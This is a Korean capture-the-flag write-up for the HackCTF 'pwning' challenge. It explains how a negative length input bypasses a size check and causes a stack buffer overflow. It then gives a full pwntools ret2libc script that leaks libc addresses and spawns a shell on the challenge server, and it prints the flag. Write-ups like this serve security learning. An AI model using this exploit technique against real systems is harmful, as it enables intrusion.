-
PwningCTF/HackCTF 2021. 2. 5. 19:18
Disassembly 디스어셈블리
void main(void) { setvbuf(_reloc.stdout, 0, 2, 0); vuln(); return; }
void vuln(void) { char *str; uint32_t var_ch; printf("How many bytes do you want me to read? "); get_n((int32_t)&str, 4); var_ch = atoi(&str); if ((int32_t)var_ch < 0x21) { printf("Ok, sounds good. Give me %u bytes of data!\n", var_ch); get_n((int32_t)&str, var_ch); printf("You said: %s\n", &str); } else { printf("No! That size (%d) is too large!\n", var_ch); } return; }
vuln 함수는 숫자를 입력받아 0x20 이하라면 그만큼 get_n으로 입력받는다.
void get_n(int32_t arg_8h, uint32_t arg_ch) { char cVar1; int32_t var_ch; var_ch = 0; while( true ) { cVar1 = getchar(); if (((cVar1 == '\0') || (cVar1 == '\n')) || (arg_ch <= (uint32_t)var_ch)) break; *(char *)(arg_8h + var_ch) = cVar1; var_ch = var_ch + 1; } *(undefined *)(var_ch + arg_8h) = 0; return; }
get_n(addr, size) 함수는 size 바이트 만큼 addr에 입력받고 문자열 끝에 null을 추가함을 알 수 있다.
Type issue
str은 ebp-0x2c에 자리하기 때문에 0x20 바이트 이하의 입력으로는 오버플로우가 발생하지 않는다. 따라서 어떻게든 입력받을 양을 늘려야 한다.
void get_n(int32_t arg_8h, uint32_t arg_ch){ ... if (((cVar1 == '\0') || (cVar1 == '\n')) || (arg_ch <= (uint32_t)var_ch)) break; ... }
get_n 함수의 while문 종료조건을 보자. null이나 개행 문자를 만나거나 인자로 전달된 arg_ch만큼 입력받으면 함수가 종료되는데, 이때 비교 대상인 arg_ch는 unsigned 형이다.
void vuln(void) { var_ch = atoi(&str); ... if ((int32_t)var_ch < 0x21) { printf("Ok, sounds good. Give me %u bytes of data!\n", var_ch); get_n((int32_t)&str, var_ch); ... }
get_n에 넣어줄 인자는 처음에 입력받은 정수이므로 음수 역시 가능하고, 0x20 이하라는 조건 또한 만족한다.
첫 입력으로 음수가 들어올 경우 스택 버퍼 오버플로우가 발생한다. 이를 이용해 스택 버퍼 오버플로우를 일으키자.
p.sendlineafter("? ", "-1")
Return Oriented Programming
rsp를 마음대로 조작할 수 있으므로 라이브러리 주소를 알아내기 위해 printf를 이용하자.
string = 0x08048702 # "%s\n" payload = b"A"*0x30 payload += p32(printf_plt) payload += p32(ppr) payload += p32(string) payload += p32(atoi_got) payload += p32(printf_plt) payload += p32(ppr) payload += p32(string) payload += p32(getchar_got) p.recvuntil("!\n") p.sendline(payload) p.recvline() atoi = u32(p.recvline()[0:4]) getchar = u32(p.recvline()[0:4]) log.info("atoi : " + hex(atoi)) log.info("getchar : " + hex(getchar))
알아낸 두 함수의 주소를 libc database search에 입력하면 라이브러리 버전을 알아낼 수 있다.
라이브러리 버전을 알아냈으니 libc base address를 구할 수 있고, 이를 통해 system과 binsh 문자열의 주소를 알아내어 system("/bin/sh")를 호출하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./pwning" lib = "libc6-i386_2.23-0ubuntu11_amd64.so" server = "ctf.j0n9hyun.xyz" port = 3019 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = process(binary) gdb.attach(p) e = ELF(binary) r = ROP(e) l = ELF(lib) e.checksec() ppr = (r.find_gadget(['pop edi', 'pop ebp', 'ret']))[0] vuln = e.symbols["vuln"] get_n = e.symbols["get_n"] atoi_got = e.got["atoi"] printf_plt = e.plt["printf"] string = 0x08048702 # "%s\n" p.sendlineafter("? ", "-1") payload = b"A"*0x30 payload += p32(printf_plt) payload += p32(ppr) payload += p32(string) payload += p32(atoi_got) payload += p32(vuln) p.recvuntil("!\n") p.sendline(payload) p.recvline() atoi = u32(p.recvline()[0:4]) libc = atoi - l.symbols["atoi"] log.info("libc : " + hex(libc)) system = libc + l.symbols["system"] binsh = libc + next(l.search(b"/bin/sh\x00")) p.sendlineafter("? ", "-1") payload = b"A"*0x30 payload += p32(system) payload += b"A"*0x4 payload += p32(binsh) p.recvuntil("!\n") p.sendline(payload) p.recvline() p.interactive()
Flag
HackCTF{b34u71ful_5un5h1n3_pwn1n6}
'CTF > HackCTF' 카테고리의 다른 글
j0n9hyun's secret (0) 2021.02.07 SysROP (0) 2021.02.05 Unexploitable #3 (0) 2021.02.05 babyfsb (0) 2021.02.05 Unexploitable #2 (0) 2021.02.05